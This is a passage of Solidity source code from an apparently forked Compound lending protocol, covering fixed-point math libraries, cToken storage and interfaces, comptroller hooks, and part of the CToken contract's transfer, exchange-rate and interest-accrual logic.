return add_(truncate(product), addend); } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @dev Legacy contract for compatibility reasons with existing contracts that still use MathError * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath, ExponentialNoError { /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } } /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; /** * @notice Share of seized collateral that is added to reserves */ uint public protocolSeizeShareMantissa = 2.8e16; //2.8% } contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the protocol seize share is changed */ event NewProtocolSeizeShare(uint oldProtocolSeizeShareMantissa, uint newProtocolSeizeShareMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); function _setProtocolSeizeShare(uint newProtocolSeizeShareMantissa) external returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount, bool enterMarket) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens, address borrower) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { using FixedPointMathLib for uint256; /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, result); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { (MathError err, uint result) = exchangeRateStoredInternal(); require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed"); return result; } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return (error code, calculated exchange rate scaled by 1e18) */ function exchangeRateStoredInternal() internal view returns (MathError, uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return (MathError.NO_ERROR, initialExchangeRateMantissa); } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves; Exp memory exchangeRate; MathError mathErr; (mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } (mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply); if (mathErr != MathError.NO_ERROR) { return (mathErr, 0); } return (MathError.NO_ERROR, exchangeRate.mantissa); } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior); require(mathErr == MathError.NO_ERROR, "could not calculate block delta"); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor; uint interestAccumulated; uint totalBorrowsNew; uint totalReservesNew; uint borrowIndexNew; (mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr)); } 